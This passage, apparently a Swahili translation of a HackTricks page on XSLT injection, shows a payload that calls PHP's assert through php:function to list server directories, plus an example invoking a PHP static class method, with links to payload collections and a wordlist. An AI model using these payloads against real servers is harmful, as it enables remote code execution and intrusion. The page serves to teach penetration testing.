<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
|
||
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
|
||
<br />
|
||
</body>
|
||
</html>
|
||
```
|
||
### **Lugha Zaidi**
|
||
|
||
**Katika ukurasa huu unaweza kupata mifano ya RCE katika lugha zingine:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
|
||
|
||
## **Kupata kazi za PHP za tuli kutoka kwa madarasa**
|
||
|
||
Kazi ifuatayo itaita njia ya tuli `stringToUrl` ya darasa XSL:
|
||
```xml
|
||
<!--- More complex test to call php class function-->
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
|
||
version="1.0">
|
||
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
|
||
<xsl:template match="root">
|
||
<html>
|
||
<!-- We use the php suffix to call the static class function stringToUrl() -->
|
||
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
|
||
<!-- Output: 'une_superstring ao modifier' -->
|
||
</html>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
(Example kutoka [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls))
|
||
|
||
## Mifano Zaidi
|
||
* Angalia [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
|
||
* Angalia [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
|
||
|
||
## **Orodha ya Uchunguzi wa Brute-Force**
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
|
||
|
||
## **Marejeo**
|
||
|
||
* [XSLT\_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT\_SSRF.pdf)\\
|
||
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
|
||
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **nifuate** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|